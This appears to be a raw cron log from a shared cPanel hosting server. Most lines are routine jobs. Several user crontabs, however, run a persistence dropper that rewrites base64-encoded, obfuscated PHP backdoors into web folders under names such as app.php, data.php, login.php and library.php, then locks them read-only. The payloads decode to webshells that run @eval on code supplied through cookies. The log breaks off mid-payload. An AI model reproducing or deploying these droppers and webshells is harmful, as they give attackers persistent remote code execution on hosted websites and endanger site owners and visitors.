Mar  2 08:12:02 medusa CROND[23565]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:12:02 medusa CROND[23567]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:12:02 medusa CROND[23570]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:12:02 medusa CROND[23569]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:12:02 medusa CROND[23571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:13:01 medusa CROND[7783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:13:01 medusa CROND[7913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:13:01 medusa CROND[7949]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:13:01 medusa CROND[7951]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:13:01 medusa CROND[7954]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:13:01 medusa CROND[7957]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:13:01 medusa CROND[7959]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:13:01 medusa CROND[7960]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 08:13:01 medusa CROND[7964]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:13:01 medusa CROND[7965]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:13:01 medusa CROND[7969]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:13:01 medusa CROND[7970]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:13:01 medusa CROND[7977]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:13:01 medusa CROND[7978]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:14:01 medusa CROND[26018]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:14:01 medusa CROND[26020]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:14:01 medusa CROND[26230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:14:01 medusa CROND[26232]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:14:01 medusa CROND[26231]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:14:01 medusa CROND[26233]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:14:01 medusa CROND[26237]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:14:01 medusa CROND[26243]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:14:01 medusa CROND[26249]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:14:01 medusa CROND[26252]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:14:01 medusa CROND[26253]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:14:01 medusa CROND[26255]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBp